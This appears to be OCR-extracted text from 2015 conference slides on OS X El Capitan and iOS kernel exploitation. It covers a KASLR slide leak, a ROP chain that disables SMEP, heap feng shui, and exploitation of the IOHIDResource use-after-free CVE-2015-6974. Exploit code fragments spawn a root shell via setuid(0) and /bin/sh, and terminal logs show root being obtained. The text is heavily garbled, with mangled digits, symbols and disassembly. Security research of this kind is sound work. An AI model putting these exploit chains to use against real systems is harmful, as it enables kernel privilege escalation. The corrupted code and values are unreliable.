i Bxe

HL )

i Bxe

: Bxe

i Bxe

: Bxe

i Bxe

: Bxe

i Bxe

: Bxe
98 : Bx@
tests-MacBook-Air:Desktop tests$ [




Leaking kslide

db
off FFFFFF8A12C23A70 dq offset  ZH?BRootDomainUserClientDAEv

offset _ ZHZBRootDomainlserClientDBEv

offset _ ZHKB80S0bject?releaseEd

offset _ ZHK80S50bjectiigetRetainCountEv

offset _ ZHKB80S0bject6retainEu

offset _ ZHKB80S0bject?releaseEu

offset _ ZHKB0SO0bject?serializeEP110SSerialize

offset _ ZHK2BRootDomainUserClienti12getMetaClassEv

offset _ ZHK150SMetaClassBase9isEqualToEPKS

offset _ ZHKB0SObjecti12taggedRetainEPKu

offset _ ZHKB0SObject13taggedReleaseEPKv

offset _ ZHKB0SObjecti13taggedReleaseEPKvi

offset _ ZH1508HetaClassBase25 RESERUVEDOSHetaClassBase3Ew

offset _ ZH1508HetaClassBase25 RESERUVEDOSHetaClassBaselEw

offset _ ZH150%HetaClassBase25 RESERUVEDOSHetaClassBaseSEw

offset _ ZH1508HetaClassBase25 RESERUVEDOSHetaClassBase6Ew

offset _ ZH150%HetaClassBase25 RESERUVEDOSHetaClassBase/Ew

offset _ ZH12I0UserClient4initEv

offset _ ZH12I0UserClient4freeEv

offset _ ZHB0SO0bject18_RESERUEDDSObjectBEv

offset _ ZHBO0S0bject18_RESERUEDDSO0bjectiEv
const:FFFFFF8B812C23B18 offset _ ZHBOS0bject18_RESERUEDDSO0Dject2Ev

offset _ ZH80S0bject18_RESERUEDDSObDject3Ev

offset _ ZHB0S0bject18_RESERUEDDSODjecthEv

offset _ ZHBOSObject18 RESERUEDDSObjectSEv

offset ZHB0S0bject18 RESERVEDDSDbjectéEv

kslide = tmp - Oxffffff8000a23a70;



Code execution

PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET (stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)
PUSH_GADGET(stack)

PUSH_GADGET{stack)
PUSH_GADGET(stack)

= (uint64_t) &crd_save;

= ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(mapping_kernel);
= Bxc5c5c5e5c5c5c5¢5;

ROP_POP_RCX(mapping_kernel);

{uint64_t) ~ BxB0100808;

ROP_AND_RCX_RAX_POP_RBP (mapping_kernel);
Bxc6CECBCHCBCBCECE;

ROP_POP_RDI (mapping_kernel);

= (uint64_t) scratch;

ROP_RAX_TO_CR4_WRITE_ESI_TO_6@H_RDI_PDP_RBP(mapping_kernel);
BxcTcTcIcTcTeTcicT;

RootDmain |RootDmain RootDmain RootDmain [RootDmain
UserClient |UserClient UserClient UserClient |UserClient
.
L4 . ' °
. ° .
L]
° . o ®
° . °
L]
o . o ®
L] L] ° L] L[]
. L] o ® .
. : - I 0x38 table
) I call [rax+0x . Y
. . o ® .
L] (] ° L] °
buffer "+« | vtable
cee
scratch[@x8 / sizeof(uintéd_t)] = @;
scratch[@x1@ / sizeof(uintB4_t)}] = @;
scratch[@x18 / sizeof(uint&4_t)}] = ROP_POP_RSP(mapping_kernel); Vta b | e
/¢ printf("ROP_POP_RSP : %1611x\n",ROP_POP_RSP(mapping_kernel)};
scratch[@x2@ / sizeof(uintf4_t)] = (uintB4_t)stack-»__rop_chain;
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = (uint64_t)scratch;
PUSH_GADGET(stack) = ROP_RSI_TO_RBX_CALL_178BH_RAX(mapping_kernel);
scratch[@x178 / sizeof(uintB4_t)}] = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET (stack) = ROP_POP_R14_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = (uint64_t) &corrupt_ptr;
PUSH_GADGET(stack) = @xclclclclelclelcl;
PUSH_GADGET (stack) = ROP_WRITE_RBX_WHAT_R14_WHERE_POP_RBX_POP_R14_POP_RBP(mapping_kernel);
//  printf("ROP_WRITE_RBX_WHAT_R14_WHERE_POP_RBX_POP_R14_POP_RBP : %161lx\n",ROP_WRITE_RBX_WHAT_R14_WHEF
PUSH_GADGET (stack) = @xc2c2c2c2c2c2c2c2; rop
PUSH_GADGET (stack) = @xc3c3c3c3c3c3c3cd;
PUSH_GADGET(stack) = @xcdcdcdcdcdcdcdcd;
i Save CR4 rop
Fi Disable SMEP
PUSH_GADGET(stack) = ROP_POP_RCX(mapping_kernel); rOp
/¢ printf(“ROP_POP_RCX : %161Tx\n",ROP_POP_RCX(mapping_kernel)};




rf

rf

Code execution

uintf4_t payload[58];
void##* vtable = alloc({void#)@x1337180000, 0x108@);
for{int i=0;i<5@;i++)payload[i] = (uintE4_t)vtable;

Lsym_payload( (uint64_t=)&vtable[@], (void*)kernel_payload);
printf("[+] payload is ready.\n"});
getchar();

for{int i=@:i<1888;i++)alloc_tablelil = open_service("I0OPMrootDomain};
for{int i=1000/4;i<1000/4%3;i++)
ifli%3){
I0ConnectRelease(alloc_tableli]l);
// alloc_tableli] = @;
¥

printf("[+] zone fengshui finished.%n™);

kernel_explconn_main, conn_second, (I0ODataQueueMemorys)map_addr,{void*)payload,sizeof(payload));
printf{"[+] kernel exploit is done.%n");
getchar();

for{int i=0;i<1008;i++)I0ConnectReleasel(alloc_table[i]);
printf{"[+] payload has run over.\n"):

if {kernel_payload_ran) {
setuid(@);
if (getuid() == 8) {
printf(" [+] got r@@t\n");
system("/bin/sh");
exit(@);

}

printf{"[-] kernel paylead did not execute.\n");
return 8;



Code execution

00 ® Desktop — sh — 122x42

Last login: Fri Sep 11 20:58:58 on ttys@od
tests-Air:~ test$ cd Desktop/

tests-Air:Desktop test$ sudo ./kernel_heap_exp
Password:

[+] found symbol _current_proc at @xffffffB000857890
[+] found symbol _proc_ucred at @xffffff80007cbded
[+] found symbol _posix cred_get at @xffffffB000723120
conn_main is 4867

IOHIDResource selector @ called with result @.
HIDResource conn addr 15 at @xaGBdbeZcTB880edct.
I0ORegistryEntryCreatelterator success.

hid_iterator is 1483

next.!

iterator_iokit owver.

conn_second 1s 5635.

map_addr is Ox102ebafdd, map_size is Ox4030.

[+] found symbol _iokit_notify at @xffffff80003dTE60
[+] found symbol _thread_exception_return at @xffffffE00841116a
[+] found symbol _panic at @xfff{ff800032bcdd

[+] payload is ready.

[+] zone fengshui finished.

outputStructSize is 288.

begin calling 19.

begin calling 3.

end calling 3.

begin calling 3.

end calling 3.

[+] kernel exploit is done.

[+] payload has run over.

[+] got reet

sh-3.2# |]




New mitigations in El Capitan

mach_port_kobject is killed (Actually in 10.10.5)

— Harder for Feng Shui

kern_return_t

maC h_p or t_l-:: o hj ect l::
ipc_space_ t
mach_port name_t
natural t
mach_vm_address_t

| (DEVELOPMENT || DEBUG)

*addrp = 8;

(@ != kaddr && is ipc kobject(*typep))
*addrp = VM_KERNEL UNSLIDE OR_PERM(kaddr);

*addrp = @;

KERN_SUCCESS;

Available for debug/development kernel



New mitigations in El Capitan

SMAP
— Not enabled on my machine

— But it is said to be enforced on
ForceTouch MBP

‘:Ef Luca Todesco £x

ForceTouch MBP has SMAP. Macs
since 2012 or something should all have
SMEP.

el Luca Todesco
nct really precise data points, but that's what | know. | have all the macs
sl from the prev gen and none has SMAP, all have SMEP.



New mitigations in El Capitan

struct vin_map_copy {

« vm_map_copy_t int type:
. #define VM _MAP COPY ENTRY LIST 1
— NO kdata f|e|d #define VM_MAP_COPY_OBJECT 2
. . #define VM_MAP COPY KERNEL BUFFER 3
— Changing kdata pointer not i o
. vm _size size;
possible =

« Memory spraying still works fine

« OOB read still works fine

— But not arbitrary memory  KERNEL BUFEERD
read/write ot bicste Mkl B




Exploitation on El Capitan: CVE-2015-6974

Use-after-free in IOHIDResourceDeviceUserClient::terminateDevice
Credit to Luca Todesco

zone.256

pointer f XXX _d evice XXx

" UAF

IOHIDResourceDeviceUserClient



Exploitation on El Capitan: Code execution

kern_return_t kr = IDConnectCallMethod{conn, @, &n, 1, CFDataGetBytePtr(desc), CFDataGetLength(desc), @, &, @8, @);
assert (KERM_SUCCESS == Kr);

mach_port_t port_table[1l0@];

char* junk = calloc(588,1);

char* tmp = calloc(5@8@,1);

memset ( junk, @xcl, sizeof (char)=58@) ;

for(int i
for(int i

@;i = 18;i++)send_kern_data(junk, 256 - @x58, &port_table[i]);
@;i = 1@;i++)tmp = read_kern_data(port_table[i]):

kr = IDConnectCallMethod{(conn, 1, @&, @, @, @, @, &, &, @);
assert{kr == KERM_SUCCESS);
for(int i = @;1 < 10; i++)send_kern_data({junk, 256 - @x58, &port_table[i]);

mach_msg |mach_msg |mach_msg | mach_msg _device XXX XXX XXX JRIR I LI SR

replace

mach_msg | mach_msg | mach_msg | mach_msg | mach_msg | mach_msg |mach_msg | mach_msg p s e e e e

t

call vtable




Freed memory == Useless ?
A little bit different...

Normal mach_msg before release mach_msg after release/recieve

fake vtable OxdeadbeefO0000003

fake vtable next pointer



Exploitation on El Capitan: Code execution

Control the $pc...

i = 1@;i++)send_kern_dataljunk, 256 — 8x58, &port_table[il);

for(int i = 8;1
@;i = 1@;i++)tmp = read_kern_data(port_table[i]):

for{int i

kr = I0ConnectCallMethod(conn, 1, @, @, @, @, @, @, @8, @);

@;i < 218;i++)send_kern_data(junk, 256 - @x58, &port_table[i]);

for{int i
@;i = 218;i++)tmp = read_kern_data{port_table[i]);

for{int i =
uinté4_t leak = IOConnectCallMethod{conn, 2, &n, 1, "AAAAAAAAANY, 18, @, @, B, @);
Ficall [rax+@8x938]

rax
next > next

vtable
msg msg

c0c0c0cO




Exploitation on El Capitan: Info Leak

« Use a separate info leak vulnerability
— E.g CVE-2015-3676 (By KeenTeam)

« How to leak by taking advantage of existing vulns?

— Heap Overflow vuln:
« By overflowing to the vm_map_copy_t structure, enlarging the size field to achieve OOB read

— Use After Free:
« Playing like Internet Explorer exploit? Crazy?
« Let’s have a try on CVE-2015-6974



Exploitation on El Capitan: Info Leak

General strategy (CVE-2015-6974)
— Free _device object

— Allocate another vtable-based object with same size to fill in (IOUserClient object is preferred)
— Call selector 2, IOHIDResourceDeviceUserClient::_handleReport
« Vtable type confuse

IOReturn IOHIDResourceDeviceUserClient::handleReport(IOExternalMethodArguments * arguments)
I
L
AbsoluteTime timestamp;
if ( device == NULL) {
I0Log("%s failed : device is NULL\n™, _ FUNCTION_ );
return kIOReturnNotOpen;

1
1

I0Return ret;
I0MemoryDescriptor * report;

if ( l!arguments->asyncWakePort ) { > Vtable + OX938
ret = device-»handleReportWithTime(timestamp, report)s;
report->release();

return rets

-—» ret value to userland



Exploitation on El Capitan: Info Leak

« What vtable member is preferred to return useful information?

« Candidate 1: getTargetAndMethodForIndex
— Can return kernel global structure address and leak kslide

« Candidate 2: OSMetaClass::getMetaClass(void)
— This works well when the calling offset is larger than the vtable of our confused userclient
— Because a MetaClass vtable is usually right after a userclient vtable

int6d * fastcall 0SMetaClass::getMetaClass(0SMetaClass *this)

return &gword_ FFFFFF3B8BAD598S;




Exploitation on El Capitan: Info Lea

On EI Capitan

— Offset 0x938 is within the range of IOUserClient vtable
— Bad news: No user client in EI Capitan implements getExternalAsyncMethodForIndex
— Can use non-userclient object to confuse but it is tough

__const:
__const:
_ const:
_ const:
__const:
__const:
_ const:
_ const:
__const:
: 0600eRe0BR4AB328

__const

_ const:
__ const:
__const:
__const:
_ const:
__const:
__const:
_ const:
__ const:
__const:
: 0B0peRe0eBR4AB330

__const

_ const:

0086000000040320
0086000000040320
fooooaoegande32l
feooeacaeae48322
0086000000040323
0080000000040324
fooooaoo0a4e325
ooooeooeea4e326
00B6000000040327

fooooaoeReR4B329
0086000000004032A
00860000000040328
fee60a0eR004032C
Boopeaoepee4832D
0086000000004032E
0086000000004032F
fooooaoapande3ze
foooeaceeae4e330
0086000000040330

6000000000040338

: 0BopereoeaR48Ces
: foapapaeeedaCcTa

; ~wvtable for'IOHIDLibUserClient
_ ZTV18IOHIDLibUserClient db

off_408330

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
dq

8

000D

offset _ ZN18

offset _ ZN18

offset _ ZN12
offset _ /NIZ

8

IOHIDLibUserClientD1Ev
; DATA XREF: IOHIDLibUserClient::IOHIDLibUserClient(0OSMetaClass const*)+E@@do
; IOHIDLibUserClient::IOHIDLibUserClient({0SMetaClass const*)+E@@o ...
; IOHIDLibUserClient::~IOHIDLibUserClient()

IOHIDLibUserClientD@Ev ; IOHIDLibUserClient::~IOHIDLibUserClient()

I0UserClient3@getExternalAsyncMethodForIndexEj ; IOUserClient::getExternalAsyncMethodForIndex(uint)
\OUserClientZbget|argetAndMethodiorlndextPPYl05ervice] ; LOUserClient::getlargetAndMethodForIndex(I0Servic

IOUserClient::getExternalAsyncMethodForindex



Exploitation on El Capitan: Info Leak

com .dri .AppleCredentialManager: : 8049DAE0 EXPORT com.apple.driver.AppleCredentialManager UserClient_(Classl vtable
com Ldri .AppleCredentialManager 49D@B@ com.apple.driver.AppleCredentialManager_UserClient Classl_vtable @
com .dri .AppleCredentialManager : 80490062 DATA XREF: sub_8@49AE98+18@Mlo
com . .AppleCredentialManager 49DBEa ; com.apple.driver.AppleCredentialManager:__ text:off_8S049AECAMNo
H H - ot com .dri .AppleCredentialManager :8849D8B1
Ty pe CO n fu S I O n I S p I atfo rm - S pec I fl C com s [ .AppleCredentialManager 3949D8B2
com .dri .AppleCredentialManager 49D8E3
- com .dri .AppleCredentialManager 49D8B4
—_— H a Ve a try O n I O S ? com .dri .AppleCredentialManager 49DBE5
com .dri .AppleCredentialManager : 8049DBB6

com .dri .AppleCredentialManager
com Ldri .AppleCredentialManager 3 CD sub_8849AEA8+1
com .dri .AppleCredentialManager

com .dri .AppleCredentialManager:_ c 3C C i getExternalTrapForIndex(ulong)+1
com .dri .AppleCredentialManager E i : :getTargetAndTrapForIndex(10Service ,ulong)+1

On iOS 8, [
. . com .dri .AppleCredentialManager
= c ~dri -AppleCredentialManager 5 EXPORT com.apple.driver.AppleCredentialManager_Class2 vtabl
IOHIDResourceDeviceUserClient::_h | Pl : e

com.apple.griver.AppleCredentialManager

- com .dri .AppleCredentialManager DATA XREF: AppleCredentialManager InitFunc_@+1A@Mo
a n d I e Re p O rt I S at Vta b I e + O X 3 b4 com .driver.AppleCredentialManager : 80490450 ; com.apple.driver.AppleCredentialManager: text:off 804951FEEMMo
com .dri .AppleCredentialManager 1490451 DCB
. com .dri .AppleCredentialManager 180490452 DCB
— Ap p I eC red e ntl a I M a n a g e r- h a S th e com .dri .Applel;r‘edentialf-\anager‘ 490453 DEEB
com . .AppleCredentialManager 188490454 DCB
- OX3 b4 com .dri .AppleCredentialManager DCB
S h O rte St U Se rCI I e nt Vta b I e ( n O com .dri .AppleCredentialManager : 5 DCB
com .dri .AppleCredentialManager 38/D45 DCB
- - com .dri .AppleCredentialManager DCD sub_8@49AE10+1
Se If fu n Ctl O n I m p I e m e n te d ) com .dri .AppleCredentialManager g DCD B84981CA+1
com .dri .AppleCredentialManager g DCD 0SMetaClass::release(int)+1
com .dri .AppleCredentialManager g 180490464 DCD 0SMetaClass::getRetainCount(void)+1
—_ N Ot a b I e to rea C h g et M eta C I a SS com .driver.AppleCredentialManager: 149D 4 DCD 0SMetaClass::retain(void)+1
com .dri .AppleCredentialManagerd 3 DCD DSMetaClass::releasy(void)+1

com - AppleCredentialManagd™ DD USMetallass::seria) (USSerialize *)+1

beca u Se Of OX 1 0 byte a I ig n m e nt com . .AppleCredentialMangiger 180490474 DCD 0SMetaClass::getMe taClass(void)+1

OSMetaClass::release is reached
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What is OSMetaClass::release
« Empty function!
« Good news for arm/arm64

« this pointer can be leaked (R0O/X0 is used for 1st
parameter AND return value)

« But kslide still not leaked

b 1
8836CH18

8030C018 ; DWORD DSHetaClass::release{0SHMetaClass * hidden this)
g§6830Ca18 EXPORT _ ZHK11DSHetaClass7?releaseEw
ga30ce18  ZHK110SHetaClass7releaseEw

8030C018

8836CH18 B LR

g830ce18 ; End of function 0SMetaClass::release{void)

0 Rn Ak R0

All iOS 8 kernel vtable is 0x10 aligned
 No chance to reach getMetaClass ®

c

.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.

driver. dppleCredentialManager
iokit. I0Reperting

driver. ApplesRMFlatform
driver. LSEDIOKit

iokit. I0Surface

iokit. IOSurface

driver. IODARTFamily
driver. AppleM28cal erCaC
driver.FairFPlayIOKit
driwver. LSEDIOKItMSE
driver. AppleVID320
driver. ippleMobileFilelntegrity
iokit. IOHIDFanily

iokit. IOHIDFanily

iokit. IOHIDFanily

iokit. IONetworkingFanily
iokit. I0NetworkingFamily
driver. ipplelPippender
driver. dppleMul titouchsFI
driver.DiskImnages

driver. ippleFEGDriver

COM.

apple.

iokit. IOCTryptodcceleratorFamily

.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.apple.
.appla.
.apple.
.apple.
.appla.
.apple.
.apple.
.appla.
.apple.
.apple.
.apple.
.apple.
.apple.

iokit. IOCryptodcceleratorFamily
iokit. IOCryptodcceleratorFamily
iokit. IOCryptodcceleratorFamily
EncryptedElockStorage
EncryptedElockStorage

iokit. IOFlashStorage

ickit. IOFlashStorage

iokit. IOUSEFanily

iokit. IOUSEFanily

iokit. IOUSEFanily

iokit. IOUSEDeviceFamily

iokit. IOkccessorvNanager

iokit. I0AccessoryNanager

iokit. I0hccessoryNanazer

iokit. IOkccessorvNanager

iokit. IOMikeyBusFamily

iokit. IOMikeyBusFamily

iokit. IOMikeyBusFamily

iokit. I0StreandudicFamily

D
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClient3
UserClientl
UserClient2
UserClientl
UserClientl
UserClientl
UserClientl
UserClientl
UserClient2
UserClient3
UserClient4
UserClientl
UserClient?2
UserClientl
UserClient2
UserClientl
UserClient2
UserClient3
UserClientl
UserClientl
UserClient2
UserClient3
UserClientd
UserClientl
UserClient2
UserClient3
UserClientl

E
0x8049d0b0L
0x804ab480L
0xB804dfEafol
0x8052L460L
0xB0G3chall
0xB053d300L
0xB054a280L
0x8056£2a0L
0xB05eT74h0L
0xB061a530L
0x8063d510L
0xB0Gaal fOL
0x806c52f0L
0xB06c81 300
0xB06cBe20L
0xBOTO2590L
0xBOTO2980L
0x2070d150L
0xB071etell
0xB07446a0L
0xB07E55d0L
0x8076d5e0L
0xB0T e ]
0xB07He990L
0x3076£1f0L
0x807784f0L
0xB07790e0L
0x8078dafol
0xB078eB30L
0xB07bleall
0x807h2370L
0x807bzb40L
OxBOB0cETOL
0x80E83eeslL
0x8083£2doL
0xB0841150L
0xB0841540L
0xB0O8G3130L
OxB0BE3I520L
0xBOBAZHLOL

|__—» 0x10 byte aligned

\Ux8086d570L J
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i0S 97 . y

]

com. apple. driver. dppl eCredentialManager UserClientl [ 0xB0543164L

° l l l com. apple. ickit. IOReporting UserClientl 0x8054c458L
N O a I Ig n m e nt e com. apple. driver. dpplesRMPlatforn UserClientl | 0xBOG7caB4l

. com. apple. driver. LSKDIOKiIt UserClientl 0x80605478L

« Some userclients reach OSMetaClass::release con. apple, iokit. I05urzace Userclientl | 0x80014b25L
com. apple. 1okit, I0Burface UserClientZ | 0xBO0A1526cL

° . com. apple. driver, IODARTFamily UserClientl | OxB06Z0=80L
Some reaCh OSMetaCIaSS . getMetaCIaSS com. apple. driver. Appl eM25cal erCSC UserClientl | 0xB0fA4aSdcL

com. apple. driver. FairFlavIOKit UserClientl | 0xB0Ad54asL

com. apple. driver. LSKDICKitHSE UserClientl | 0xBOT1{458L

com. apple. driver. dppl eVEIDZ90 UserClientl | 0xB0T74h4f38L

A h H b th k I H d I k d F S h H th H H t I k d com. apple. driver. dppleMobileFilelntegrity UserClientl | 0xBOT73210L
C Ieve O S I e ea a n e ng u I ( IS po I n e r ea e ) com. apple. ickit. IOCHIDFamily UserClientl | 0xBOTEfZedl
com. apple. 1okit. IOHIDFanily UserClient2 | 0xB0T7920Z20L

connimadnielonenEsenvice (A IOHIDRESonrCe ) com. apple. ickit. IOHIDFamily UserClient3 | 0x807%2cccl
inputScalar[@]l = 0; com. apple. 1okit. IONetworkingFamily UserClientl 0x807cT4cdl
kernResult = I°c°""e‘:tcalmeth°d(C°""a"‘ai"' com. apple. 1okit. IONetworkingFamily UserClient2 | 0xB0T7cTBadl
i:\putScalar, com. apple. driver. Appl eIPAppender UserClientl 0x807d217cL

:)' - com. apple. driver. Appl eMul titouchSPI UserClientl | 0xBOTe7744L

4;'(): com. apple. driver. DiskInages UserClientl | 0xBO080afficL

outputScalar, com. apple. driver. dppl e JPEGDriver UserClientl | OxB082h5%cL

i‘g:;z‘t’giﬁali rCat, com. apple. iokit. IOCryptodcceleratorFanily UserClientl | 0x808535h0L

SoutputStructsize); com. apple. ickit. IOCryptobccel eratorFanily UserClientz | OxBOR3Z4170L

ggégﬁﬁé:{g:{'{:}l:izg;fioz‘:lﬁ.gizr ? Cgugd ‘gitg rgsuét "{;’"- c\s’))' kernResult); com. apple. iokit. I0CryptodcceleraterFanily UserClient3 | 0xB0834918L

(int 1 = 500; 1 < 1000: 1 ++) . T : com. apple. ickit. I0CryptohcceleratorFamily UserClientd | 0xB0835150L

_ ) . - com. apple. EncryptedBl ockStorage UserClientl | 0xB083edbcl

EEALEEIER] = @ S (O G e XL R ) com. apple. EncryptedBl ockStorage UserClient2 | 0xB083f054L
inputScalar(e] = o; . ) ) com. apple. iokit. IOFlashStoraze UserClientl 0xB0B538dBL
Zzzigzzg ;zzg k;iig1=b;gg°:"igzﬁa}ugeth°d:g‘_’""—"‘a1"' 2, inputScalar, 1,"hello", 5, : com. apple. iokit. I0FlashStoragze UserClient? | 0x308547e0l
printf("Kernel base is located at @x%x!\n", ’ kernel_base); com. apple. 1ckit. IOUSEHostFamily UserClientl | 0xB089d378L
p{intriggg?[_,; slide is Ox%x!\n", kernel_base — 0x80001000); com. apple. iokit. IOUSEHostFamily UserClient2 | 0x8089ds10L
2ESeP 4 com. apple. 1ckit. IOUSEHostFamily UserClient3 | 0xB08%dddcL

- com. apple. 1okit, IOUSEDeviceFamily UserClientl | 0xB0%2fA38L

LEOCde—iPhone ' root# OCHIDRESOU rce com. apple. 1eokit, IDAccessoryManager UserClientl | 0xB0%63ealL

- / p . com. apple. 1okit. IDAccessorvManager UserClientZ | 0xB0964285L

IOHIDResource selector @ called with result @. com. apple. iokit. I0AccessoryManager UserClient3 | 0xB09660a8L

. | coml. apple. 1ckit. IDhccessorvManager UserClientd | 0xB0966488L

Ke rnEl base 1s locatEd at 'BXB7691999 . com. apple. 1okit, IOMikeyvBusFanily UserClientl | 0xB098a0c0L
KASLR slide is @x7600000! com. apple. :].ok?t. IOH::LkeyBusFamily UserCl?entZ 0xB09Badadl

com. apple. 1okit. IOMikeyBusFanily UserClient3 | 0xE8098aB83L

com. apple. 1ckit. I0StreandudioFamily UserClientl




Summary

« OS X kernel improves a lot in the year 2015
 New mitigations make exploitation harder

« Good vulnerability with good exploitation methodology still leads to
kernel root
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